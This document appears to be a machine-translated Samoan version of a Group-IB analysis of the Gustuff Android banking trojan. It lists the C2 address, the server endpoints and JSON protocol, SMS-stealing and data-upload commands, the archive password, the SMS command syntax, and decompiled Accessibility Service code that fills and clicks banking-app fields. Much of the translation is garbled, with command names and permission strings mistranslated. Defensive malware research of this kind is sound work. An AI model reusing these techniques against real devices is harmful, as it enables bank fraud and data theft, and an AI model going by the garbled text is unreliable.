Na'o le isi aso Group-IB
Fa'ata'ita'i su'esu'ega fa'ailoga leaga ile Group-IB Ivan Pisarev i ana suʻesuʻega, na ia talanoa faʻapitoa e uiga i le auala e galue ai Gustuff ma mea e lamatia ai.
O ai o lo'o sailia e Gustuff?
O Gustuff e a'afia i se tupulaga fou o mea leaga ma galuega fa'aototometi atoatoa. E tusa ai ma le tagata atiaʻe, o le Trojan ua avea ma faʻamatalaga fou ma faʻaleleia atili o le AndyBot malware, lea talu mai Novema 2017 o loʻo osofaʻia telefoni Android ma gaoi tupe e ala i le faʻaogaina o upega tafaʻilagi faʻapipiʻiina e pei o telefoni feaveaʻi o faletupe faʻavaomalo lauiloa ma faiga faʻapitoa. Na lipotia mai e Bestoffer o le tau lisi a Gustuff Bot e $800 i le masina.
O suʻesuʻega o le faʻataʻitaʻiga a Gustuff na faʻaalia ai o le Trojan e mafai ona faʻaogaina tagata faʻatau e faʻaaogaina telefoni feaveaʻi o faletupe tetele, e pei o le Faletupe o Amerika, Faletupe o Sikotilani, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, faʻapea foʻi ma atotupe crypto. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, ma isi.
Muamua na faia e avea o se Trojan faletupe masani, i le lomiga o loʻo i ai nei Gustuff ua matua faʻalauteleina le lisi o sini faʻamoemoe mo osofaʻiga. I le faaopoopo atu i talosaga Android mo faletupe, kamupani fintech ma auaunaga crypto, Gustuff o loʻo faʻatatau i tagata faʻaoga o maketi maketi, faleoloa i luga ole laiga, faiga totogi ma avefeʻau vave. Aemaise lava, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ma isi.
Ulufale: faʻatusatusaga mo faʻamaʻi pipisi
O Gustuff o loʻo faʻaalia e le "malaga" vector o le ulu atu i totonu o telefoni feaveaʻi e ala i meli SMS ma fesoʻotaʻiga i APKs. Pe a afaina se masini Android i se Trojan i le poloaiga a le server, e mafai e Gustuff ona sosolo atili e ala i le faʻamatalaga faʻamatalaga o le telefoni faʻamaʻi poʻo le faʻamaumauga a le server. O galuega a Gustuff ua fuafuaina mo le tele o faʻamaʻi ma le maualuga o mataitusi tetele o pisinisi a ana tagata faʻatautaia - o loʻo i ai se tulaga tulaga ese "auto-faatumu" galuega i totonu o le faʻaogaina o teugatupe feaveaʻi ma pusa crypto, lea e mafai ai ona e faʻavavevave ma fua le gaoi o tupe.
O se suʻesuʻega a le Trojan na faʻaalia ai o le autofill galuega na faʻatinoina i totonu e faʻaaoga ai le Accessibility Service, o se auaunaga mo tagata e le atoatoa le malosi. O Gustuff e le o le Trojan muamua e faʻamalo manuia le puipuiga mai fegalegaleaiga ma elemene faʻamalama o isi talosaga e faʻaaoga ai lenei auaunaga Android. Ae ui i lea, o le faʻaaogaina o le Accessibility Service faʻatasi ma se mea e faʻatumu ai taavale e seasea lava.
A maeʻa ona sii mai i luga o le telefoni a le tagata manua, Gustuff, faʻaaogaina le Accessibility Service, e mafai ona fegalegaleai ma elemene faʻamalama o isi talosaga (teuga tupe, cryptocurrency, faʻapea foʻi ma talosaga mo faʻatauga i luga ole laiga, feʻau, ma isi), faʻatino gaioiga talafeagai mo tagata osofaʻi. . Mo se faʻataʻitaʻiga, i le faʻatonuga a le 'auʻaunaga, e mafai e le Trojan ona oomi faʻamau ma suia le taua o faʻamaumauga i tusi talosaga. O le fa'aaogaina o le Accessibility Service e mafai ai e le Trojan ona fa'aaloa'ese auala saogalemu o lo'o fa'aogaina e faletupe e fa'afetaui ai le tupulaga muamua o Trojans feavea'i, fa'apea fo'i ma suiga i faiga fa'avae puipuiga na fa'atinoina e Google i fa'aliliuga fou o le Android OS. O le mea lea, Gustuff "iloa pe faʻafefea" e faʻamalo le puipuiga a Google Protect: e tusa ai ma le tusitala, o lenei galuega e galue i le 70% o mataupu.
E mafai foʻi e Gustuff ona faʻaalia faʻamatalaga PUSH pepelo ma ata o talosaga feaveaʻi talafeagai. E kiliki e le tagata faʻaoga le faʻamatalaga PUSH ma vaʻai i se faamalama phishing na sii mai i le server, lea na te ulufale ai i le pepa faletupe talosaga poʻo faʻamatalaga atotupe crypto. I se isi faʻaaliga Gustuff, o le talosaga e fai ma sui na faʻaalia ai le faʻaaliga PUSH ua tatalaina. I lenei tulaga, o le malware, i luga o le faʻatonuga mai le 'auʻaunaga e ala i le Accessibility Service, e mafai ona faʻatumu faʻailoga o se tusi talosaga mo se fefaʻatauaiga taufaasese.
O galuega a Gustuff e aofia ai foʻi le lafoina o faʻamatalaga e uiga i se masini pisia i le 'auʻaunaga, le mafai ona faitau / lafo feʻau SMS, auina atu USSD talosaga, faʻalauiloa SOCKS5 Proxy, mulimuli i se fesoʻotaʻiga, lafoina faila (e aofia ai ata suʻesuʻe o pepa, screenshots, ata) i le server , toe setiina le masini i tulaga falegaosimea.
Su'esu'ega Malware
Aʻo leʻi faʻapipiʻiina se talosaga leaga, o le Android OS e faʻaalia i le tagata faʻaoga se faamalama o loʻo i ai se lisi o aia tatau na talosagaina e Gustuff:
O le a fa'apipi'i le talosaga pe a uma ona maua le fa'atagaga a le tagata fa'aoga. A maeʻa ona faʻalauiloa le talosaga, o le a faʻaalia e le Trojan i le tagata faʻaoga se faamalama:
A maeʻa ona aveese lea o lona faʻailoga.
Gustuff o loʻo faʻapipiʻiina, e tusa ai ma le tusitala, e se packer mai le FTT. A maeʻa le amataga, e faʻafesoʻotaʻi e le talosaga i lea taimi ma lea taimi le server CnC e maua ai faʻatonuga. O le tele o faila na matou suʻesuʻeina na faʻaaogaina se tuatusi IP e avea ma pule faʻatonu 88.99.171[.]105 (o le a matou faʻamatalaina mulimuli ane e pei o <%CnC%>).
A maeʻa le faʻalauiloaina, o le polokalama e amata auina atu feʻau i le server http://<%CnC%>/api/v1/get.php.
O le tali e tatau ona avea ma JSON i le faatulagaga lenei:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
O taimi uma e maua ai le talosaga, e tuʻuina atu faʻamatalaga e uiga i le masini faʻamaʻi. O le fa'asologa o fe'au o lo'o fa'aalia i lalo. E taua le matauina o fanua tumu, faʻaopoopo, apps и faatagaga – faitalia ma e na'o le tulaga e iai se fa'atonuga ole talosaga mai le CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Teuina o faʻamaumauga faʻatulagaina
Gustuff e teuina faʻamatalaga taua i totonu o se faila e fiafia i ai. O le igoa faila, faʻapea foʻi ma igoa o faʻamaufaʻailoga i totonu, o le taunuuga lea o le fuafuaina o le aofaʻi MD5 mai le manoa. 15413090667214.6.1<%name%>fea <%name%> — igoa muamua-taua. Fa'amatalaga Python o le galuega fa'atupu igoa:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
I le mea o loʻo mulimuli mai o le a tatou faʻaalia ai nameGenerator(fa'aofi).
O lea la o le igoa faila muamua o le: nameGenerator("API_SERVER_LIST"), o loʻo i ai tulaga taua ma igoa nei:
Su'ega igoa | tāua |
---|---|
nameGenerator("API_SERVER_LIST") | O lo'o i ai se lisi o tuatusi CnC i foliga o se laina. |
nameGenerator("API_SERVER_URL") | O lo'o iai le tuatusi CnC. |
nameGenerator("SMS_UPLOAD") | Ua seti le fu'a e ala i le faaletonu. Afai ua seti le fu'a, auina atu feau SMS i CnC. |
nameGenerator("SMS_ROOT_NUMBER") | Numera o le telefoni lea o le a lafo i ai fe'au SMS na maua e le masini fa'ama'i. O le tulaga masani e null. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | Ua kilia le fu'a ona o le faaletonu. Afai e faʻapipiʻi, pe a maua e se masini faʻamaʻi se SMS, o le a lafoina i le numera aʻa. |
nameGenerator("DEFAULT_APP_SMS") | Ua kilia le fu'a ona o le faaletonu. Afai e setiina lenei fu'a, o le a fa'agasolo e le talosaga fe'au SMS o lo'o o'o mai. |
nameGenerator("DEFAULT_ADMIN") | Ua kilia le fu'a ona o le faaletonu. Afai ua seti le fu'a, o le talosaga e iai aia tatau a le pule. |
nameGenerator("DEFAULT_ACCESSIBILITY") | Ua kilia le fu'a ona o le faaletonu. Afai ua seti le fu'a, o lo'o fa'agasolo se auaunaga e fa'aoga ai le Auaunaga Avanoa. |
nameGenerator("APPS_CONFIG") | O se mea JSON o lo'o i ai se lisi o gaioiga e tatau ona fa'atino pe a fa'aoso se fa'alavelave Avanoa e feso'ota'i ma se talosaga fa'apitoa. |
nameGenerator("APPS_INSTALLED") | Teu se lisi o talosaga ua fa'apipi'i i luga ole masini. |
nameGenerator("IS_FIST_RUN") | Ua toe setiina le fu'a i le amataga muamua. |
nameGenerator("UNIQUE_ID") | O lo'o iai se fa'ailoga tulaga ese. Fausia pe a fa'alauiloa le bot mo le taimi muamua. |
Module mo le faagasologa o poloaiga mai le server
O le tusi talosaga e teu ai tuatusi o sapalai CnC i le tulaga o se laina fa'ailoga e Faavae85 laina. O le lisi o sapalai CnC e mafai ona suia i le mauaina o le poloaiga talafeagai, lea o le a teuina ai tuatusi i se faila e fiafia i ai.
I le tali atu i le talosaga, e auina atu e le server se poloaiga i le talosaga. E taua le maitauina o poloaiga ma faʻasologa o loʻo tuʻuina atu i le JSON format. E mafai e le talosaga ona fa'agasolo tulafono nei:
au | faʻamatalaga |
---|---|
agai i lumaAmata | Amata le lafoina o fe'au SMS na maua e le masini fa'ama'i ile CnC server. |
i lumaStop | Taofi le lafoina o feʻau SMS na maua e le masini faʻamaʻi i le CnC server. |
ussdRun | Fa'atino talosaga USSD. O le numera e te manaʻomia e fai ai se talosaga USSD o loʻo i totonu o le JSON fanua "numera". |
lafoSms | Auina atu se savali SMS se tasi (pe a manaʻomia, o le feʻau e "vaelua" i ni vaega). I le avea ai o se parakalafa, o le poloaiga e ave se mea JSON o loʻo i ai fanua "i" - le numera o le taunuuga ma le "tino" - le tino o le feʻau. |
lafoSmsAb | Auina atu feʻau SMS (pe a manaʻomia, o le feʻau e "vaelua" i ni vaega) i tagata uma i le lisi faʻafesoʻotaʻi o le masini pisia. O le va i le va o le lafoina o fe'au e 10 sekone. O le tino o le feʻau o loʻo i totonu o le JSON fanua "tino" |
lafoSmsMass | Auina atu feʻau SMS (pe a manaʻomia, o le feʻau e "vaelua" i ni vaega) i fesoʻotaʻiga o loʻo faʻamaonia i totonu o le faʻatonuga. O le va i le va o le lafoina o fe'au e 10 sekone. I le avea ai o se faʻataʻitaʻiga, o le faʻatonuga e ave ai le JSON array (le "sms" field), o elemene o loʻo i ai fanua "i" - o le numera o le taunuuga ma le "tino" - le tino o le feʻau. |
changeServer | O lenei poloaiga e mafai ona ave se tau i le ki "url" e fai ma parakalafa - ona suia lea e le bot le tau o le igoaGenerator("SERVER_URL"), poʻo le "array" - ona tusia lea e le bot le laina i le nameGenerator ("API_SERVER_LIST") O lea la, o le talosaga e suia le tuatusi o le CnC servers. |
adminNumera | Ua mamanuina le poloaiga e galue ma se numera aʻa. O le poloaiga e talia se mea JSON ma faʻamaufaʻailoga nei: "numera" - sui igoaGenerator("ROOT_NUMBER") i le tau na maua, "toe auina atu" - sui igoaGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - lafo i nameGenerator("ROOT_NUMBER" ) ID tulaga ese. |
updateInfo | Auina atu faʻamatalaga e uiga i le masini aʻafia i le 'auʻaunaga. |
wipeData | O le faʻatonuga e faʻamoemoe e tape faʻamatalaga tagata faʻaoga. Faʻalagolago i le igoa na faʻalauiloa ai le talosaga, a le o le faʻamaumauga e tape atoa ma le toe faʻafouina o le masini (faʻaoga muamua), pe naʻo faʻamatalaga tagata faʻaoga e tape (tagata faʻaoga lua). |
totiniAmata | Tatala le module Proxy. O le faʻaogaina o le module o loʻo faʻamatalaina i se isi vaega. |
totiniStop | Taofi le module Proxy. |
openLink | Mulimuli i le sootaga. O loʻo iai le soʻotaga i le JSON parameter i lalo o le "url" ki. "android.intent.action.VIEW" e faʻaaogaina e tatala ai le soʻotaga. |
uploadAllSms | Auina atu fe'au SMS uma na maua e le masini i le server. |
uploadAllPhotos | Auina ata mai se masini pisia i se URL. O le URL e sau o se parakalafa. |
uploadFile | Auina atu se faila i se URL mai se masini pisia. O le URL e sau o se parakalafa. |
uploadPhoneNumbers | Auina atu numera telefoni mai lau lisi o feso'ota'iga ile server. Afai o se mea taua a le JSON ma le ki "ab" e maua o se parakalafa, e maua e le talosaga se lisi o fesoʻotaʻiga mai le tusi telefoni. Afai o se mea JSON ma le ki "sms" e maua o se parakalafa, o le tusi talosaga e faitau le lisi o fesoʻotaʻiga mai le au lafo o feʻau SMS. |
changeArchive | O le talosaga e sii mai le faila mai le tuatusi e sau o se parakalafa e faʻaaoga ai le "url" ki. O le faila na sii mai e teu i le igoa "archive.zip". O le talosaga o le a tatalaina le faila, pe faʻaaoga le upu faʻamaumauga "b5jXh37gxgHBrZhQ4j3D". O faila e le'i fa'asalaina o lo'o fa'asaoina i totonu o le [fa'amaumauga i fafo]/hgps. I totonu o lenei lisi, o loʻo faʻapipiʻi e le tusi talosaga ni upega tafaʻilagi (faʻamatalaina i lalo). |
taga | O le poloaiga ua mamanuina e galulue ai ma le Action Service, lea o loʻo faʻamatalaina i se isi vaega. |
suʻega | Le faia o se mea. |
download | O le faʻatonuga e faʻamoemoe e sii mai se faila mai se server mamao ma sefe i le "Downloads" directory. O le URL ma le igoa faila e sau o se parakalafa, fanua i le JSON parameter object, faasologa: "url" ma le "fileName". |
aveese | Aveese se faila mai le "Downloads" directory. O le igoa faila e sau i le JSON parameter ma le "fileName" ki. O le igoa faila masani o le "tmp.apk". |
Fa'amatalaga | Fa'aali se fa'amatalaga fa'atasi ai ma fa'amatalaga ma fa'aulutala tusitusiga fa'amatala e le pulega fa'aumau. |
Poloaiga Fa'atonu Fa'amatalaga:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
O le fa'asilasilaga na faia e le faila o lo'o su'esu'eina e foliga tutusa ma fa'amatalaga na faia e le talosaga o lo'o fa'amaoti mai ile fanua polokalama. Afai o le tau fanua tatalaApp - E moni, pe a tatalaina se faʻamatalaga, o le talosaga ua faʻamaonia i le fanua e faʻalauiloa polokalama. Afai o le tau fanua tatalaApp — Sese, ona:
- E matala se faamalama phishing, o mea o loʻo i totonu o loʻo laʻuina mai le lisi <%fa'i fafo%>/hgps/<%filename%>
- E matala se faamalama phishing, o mea o loʻo i totonu o loʻo laʻuina mai le server <%url%>?id=<%Bot id%>&app=<%Application name%>
- Ua matala se faamalama phishing, faafoliga o se Google Play Card, faatasi ai ma le avanoa e ulufale ai i auiliiliga o kata.
O le talosaga e auina atu le taunuuga o soʻo se poloaiga i <%CnC%>set_state.php o se mea JSON i le faatulagaga lenei:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
Le lisi o fa'atonuga o lo'o aofia ai le fa'agasologa o talosaga gaoioiga. A maua se fa'atonuga, e fa'aogaina e le fa'atonuga o le fa'atonuga lenei auaunaga e fa'atino ai le fa'atonuga fa'alautele. E talia e le 'au'aunaga se mea JSON e fai ma parakalafa. E mafai e le 'au'aunaga ona fa'atino tulafono nei:
1. PARAMS_ACTION - pe a mauaina sea poloaiga, e maua muamua e le auʻaunaga mai le JSON parameter le tau o le Type key, lea e mafai ona faʻapea:
- serviceInfo - o le subcommand e maua le tau i le ki mai le JSON parameter aofia leTaua. Afai e Moni le fu'a, e setiina e le talosaga le fu'a FLAG_ISOLATED_PROCESS i se auaunaga e fa'aoga ai le Auaunaga Avanoa. O le auala lea o le a faʻalauiloaina ai le auaunaga i se isi faiga.
- aʻa - maua ma auina atu i le server faʻamatalaga e uiga i le faamalama o loʻo taulaʻi nei. E maua e le talosaga faʻamatalaga e faʻaaoga ai le vasega AccessibilityNodeInfo.
- tufa - talosaga aia tatau a le pule.
- tuai - taofi le ActionsService mo le numera o milliseconds faʻamaonia i le parakalafa mo le "faʻamatalaga" ki.
- faamalama — auina atu se lisi o faamalama e iloa e le tagata e faaaogāina.
- faʻapipiʻi - faʻapipiʻi le talosaga i luga o le masini faʻamaʻi. O le igoa o le pusa fa'amaumauga o lo'o i le "fileName" ki. O le archive lava ia o lo'o i totonu o le fa'amaumauga o le Downloads.
- faʻalelalolagi - o le subcommand ua faʻamoemoe e faʻafeiloaʻi mai le faamalama o loʻo iai nei:
- i luga o le lisi Fa'asagaga vave
- i tua
- aiga
- i fa'amatalaga
- i le faamalama o talosaga na tatalaina talu ai nei
- Lauiloa - tatala le talosaga. O le igoa o le talosaga e sau o se parakalafa i le ki faʻamatalaga.
- leo — sui le tulaga leo i le leo.
- tatala — ki le moli tua o le lau ma le piano i le malamalama atoatoa. E faia e le talosaga lenei gaioiga e faʻaaoga ai le WakeLock, faʻamaonia le manoa [Talosaga faʻailoga]: INFO o se pine
- fa'ataga fa'alava — e le'o fa'atinoina le galuega (o le tali i le fa'atonuga o le fa'atonuga o le {"message":"Not support"} or {"message":"low sdk"})
- taga — e le'o fa'atinoina le galuega (o le tali i le fa'atonuga o le {"message":"Not support"}po'o {"message":"Low API"})
- faatagaga - o lenei poloaiga e tatau ona talosagaina faʻatagaga mo le talosaga. Ae ui i lea, e le o faʻatinoina le galuega fesili, o lea e leai se uiga o le poloaiga. O le lisi o aia tatau e sau o se JSON array ma le "faatagaga" ki. Lisi masani:
- android.permission.READ_PHONE_STATE
- phi.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- tatala — fa'aali se faamalama phishing. Faʻalagolago i le parakalafa e sau mai le 'auʻaunaga, e mafai e le talosaga ona faʻaalia le phishing windows:
- Faaali atu se faamalama phishing o ona mea o loo tusia i se faila i se lisi <%external directory%>/hgps/<%param_filename%>. O le taunuuga o fegalegaleaiga a le tagata e faaaogāina ma le faamalama o le a lafo i <%CnC%>/records.php
- Faaalia se faamalama phishing o ona mea o loo muai utaina mai le tuatusi <%url_param%>?id=<%bot_id%>&app=<%packagename%>. O le taunuuga o fegalegaleaiga a le tagata e faaaogāina ma le faamalama o le a lafo i <%CnC%>/records.php
- Faaali atu se faamalama phishing ua faafoliga o se Google Play Card.
- aufaʻatasi - ua mamanuina le poloaiga e fegalegaleai ma elemene faamalama o isi talosaga e faʻaaoga ai le AcessibilityService. O se auaunaga faʻapitoa ua faʻatinoina i le polokalame mo fegalegaleaiga. O le talosaga o loʻo suʻesuʻeina e mafai ona fegalegaleai ma windows:
- O lo'o galue nei. I lenei tulaga, o le parakalafa o loʻo i ai le id poʻo le tusiga (igoa) o le mea e te manaʻomia e fegalegaleai ai.
- Va'aia e le tagata fa'aoga i le taimi e fa'atino ai le fa'atonuga. O le talosaga e filifilia windows e id.
Le mauaina o mea faitino AccessibilityNodeInfo Mo elemene faʻamalama e fiafia i ai, o le talosaga, e faʻatatau i faʻasologa, e mafai ona faia gaioiga nei:
- taulaiga — seti le taulaiga i le mea.
- kiliki - kiliki i luga o se mea.
- actionId - fai se gaioiga e ala ile ID.
- setText - sui le tusitusiga o se mea. E mafai ona suia le tusitusiga i ni auala se lua: fai se gaioiga ACTION_SET_TEXT (pe afai o le Android version o le masini pisia e laʻititi pe tutusa ma FOLAFOLAGA), poʻo le tuʻuina o se manoa i luga o le laupapa kilipa ma faapipii i totonu o se mea (mo faʻamatalaga tuai). E mafai ona fa'aoga lenei fa'atonuga e sui ai fa'amaumauga i totonu o se tusi talosaga tau faletupe.
2. PARAMS_ACTIONS - tutusa ma PARAMS_ACTION, na'o se JSON fa'asologa o poloaiga e o'o mai.
E foliga mai o le a fiafia le toʻatele o tagata pe o le a le galuega o le fegalegaleai ma elemene faamalama o se isi talosaga e foliga mai. Ole auala lea e faʻatinoina ai lenei galuega ile Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Galuega e sui ai tusitusiga:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
O le mea lea, faʻatasi ai ma le faʻatulagaina saʻo o le pule faʻatonu, e mafai e Gustuff ona faʻatumu faʻamaumauga i totonu o le faletupe ma kiliki i luga o ki e manaʻomia e faʻamaeʻa ai le fefaʻatauaiga. E le manaʻomia e le Trojan le ulufale i totonu o le talosaga-ua lava le tuʻuina atu o se faʻatonuga e faʻaalia ai se faʻamatalaga PUSH ona tatala ai lea o le talosaga faʻapipiʻi muamua. O le a faʻamaonia e le tagata faʻaoga ia lava, pe a maeʻa ona mafai e Gustuff ona faʻatumu le taavale.
Fa'asologa o fe'au SMS
O le talosaga e faʻapipiʻi se mea e fai mo le masini faʻamaʻi e talia ai feʻau SMS. O le talosaga o loʻo suʻesuʻeina e mafai ona maua faʻatonuga mai le faʻalapotopotoga, lea e sau i le tino o le feʻau SMS. E sau poloaiga i le faatulagaga:
7!5=<%Base64 fa'atonuga fa'ailoga%>
O le talosaga e su'e le manoa i fe'au SMS uma e sau 7!5=, pe a iloa se manoa, na te decodes le manoa mai Base64 i offset 4 ma faatino le poloaiga. O faʻatonuga e tutusa ma i latou o loʻo iai CnC. O le fa'ai'uga fa'ataunu'u e lafo i le numera lava lea na sau ai le fa'atonuga. Faiga tali:
7*5=<%Base64 encode o le “result_code command”%>
I le faitalia, e mafai e le talosaga ona auina atu savali maua uma i le numera Root. Ina ia faia lenei mea, e tatau ona faʻamaonia le numera Root i le faila e fiafia i ai ma e tatau ona seti le feʻau toe faʻafeiloaʻi. E auina atu se fe'au SMS i le numera o le tagata osofa'i i le faatulagaga:
<%Mai le numera%> - <%Taimi, faatulagaga: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
E le gata i lea, i le faitalia, e mafai e le talosaga ona lafo savali i CnC. O le SMS feʻau e lafo i le 'auʻaunaga i le JSON format:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Afai ua seti le fu'a nameGenerator("DEFAULT_APP_SMS") - o le talosaga e taofi le faʻagaioiina o le feʻau SMS ma faʻamalo le lisi o feʻau o loʻo oʻo mai.
Module sui
O le talosaga o loʻo suʻesuʻeina e aofia ai le Backconnect Proxy module (o loʻo taʻua mulimuli ane o le Proxy module), o loʻo i ai se vasega eseʻese e aofia ai fanua faʻapitoa ma le faʻatulagaina. O fa'amaumauga o fa'asologa o lo'o teuina i totonu o le fa'ata'ita'iga i se tulaga manino:
O gaioiga uma e faia e le Proxy module e saini i faila. Ina ia faia lenei mea, o le talosaga i le External Storage e fatuina ai se lisi e taʻua o "logs" (le ProxyConfigClass.logsDir fanua i le vasega faʻatulagaina), lea e teu ai faila ogalaau. O lo'o fa'amauina i faila i igoa:
- main.txt - o le galuega a le vasega e taʻua o le CommandServer ua saini i totonu o lenei faila. I le mea o loʻo mulimuli mai, o le taina o le manoa str i totonu o lenei faila o le a faʻaalia o le mainLog(str).
- sauniga-<%id%>.txt - o lenei faila e faʻasaoina faʻamaumauga o ogalaau e fesoʻotaʻi ma se sauniga sui faʻapitoa. I le mea o loʻo mulimuli mai, o le taina o le manoa str i lenei faila o le a faʻaalia o le sessionLog (str).
- server.txt - o lenei faila e faʻaaogaina e faʻamau ai faʻamaumauga uma na tusia i faila o loʻo faʻamatalaina i luga.
Fa'amaumauga o fa'amaumauga:
<%Date%> [Muliuli[<%thread id%>], id[]]: manoa ogalaau
O tuusaunoaga e tutupu i le taimi o le faagaioiina o le module Proxy e saini foi i se faila. Ina ia faia lenei mea, o le talosaga e gaosia ai se mea JSON i le faatulagaga lenei:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Ona faaliliu lea i se manoa faatusa ma faamau ai.
O le Proxy module e faʻalauiloaina pe a uma ona maua le faʻatonuga tutusa. A maua se fa'atonuga e fa'alauiloa le Proxy module, o le talosaga e amata se auaunaga e ta'ua Auaunaga Autu, lea e nafa ma le puleaina o le faʻaogaina o le module Proxy - amata ma taofi.
Laasaga o le amataina o le tautua:
1. Amata se taimi e ta'i tasi i le minute ma siaki le gaioiga o le module Proxy. Afai e le o toaga le module, e amata loa.
E le gata i lea pe a faʻaoso le mea na tupu android.net.conn.CONNECTIVITY_CHANGE Ua fa'alauiloa le module Proxy.
2. O le talosaga e faia se fafagu-loka ma le parakalafa PARTIAL_WAKE_LOCK ma pue ia te ia. Ole mea lea e taofia ai le masini CPU mai le alu ile moe.
3. Fa'alauiloa le vasega o le fa'atonuina o le fa'atonuga o le module Proxy, muamua fa'amauina le laina mainLog("amata le server") и
Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
le mea sui_cnc, command_port ma sui_port - faʻamaufaʻailoga e maua mai le faʻatulagaina o le server Proxy.
Ua ta'ua le vasega fa'atonu Command Connection. I le taimi lava e amata ai, fai gaioiga nei:
4. Feso'ota'i i ProxyConfigClass.host: ProxyConfigClass.commandPort ma auina atu faʻamatalaga e uiga i le masini pisia iina ile JSON format:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Afai:
- id - faʻamatalaga, taumafai e maua se tau i le "id" fanua mai le faila Faʻasoa Faʻatasi e igoa "x". Afai e le mafai ona maua lenei tau, e maua ai se tau fou. O le mea lea, o le Proxy module ei ai lona lava faʻamatalaga, lea e gaosia tutusa ma le Bot ID.
- imei - IMEI o le masini. Afai na tupu se mea sese i le faagasologa o le mauaina o le tau, o le a tusia se feau tusitusia sese nai lo lenei fanua.
- imsi - Fa'asinomaga Fa'asalalau Fa'asalalau Fa'avaomalo o le masini. Afai na tupu se mea sese i le faagasologa o le mauaina o le tau, o le a tusia se feau tusitusia sese nai lo lenei fanua.
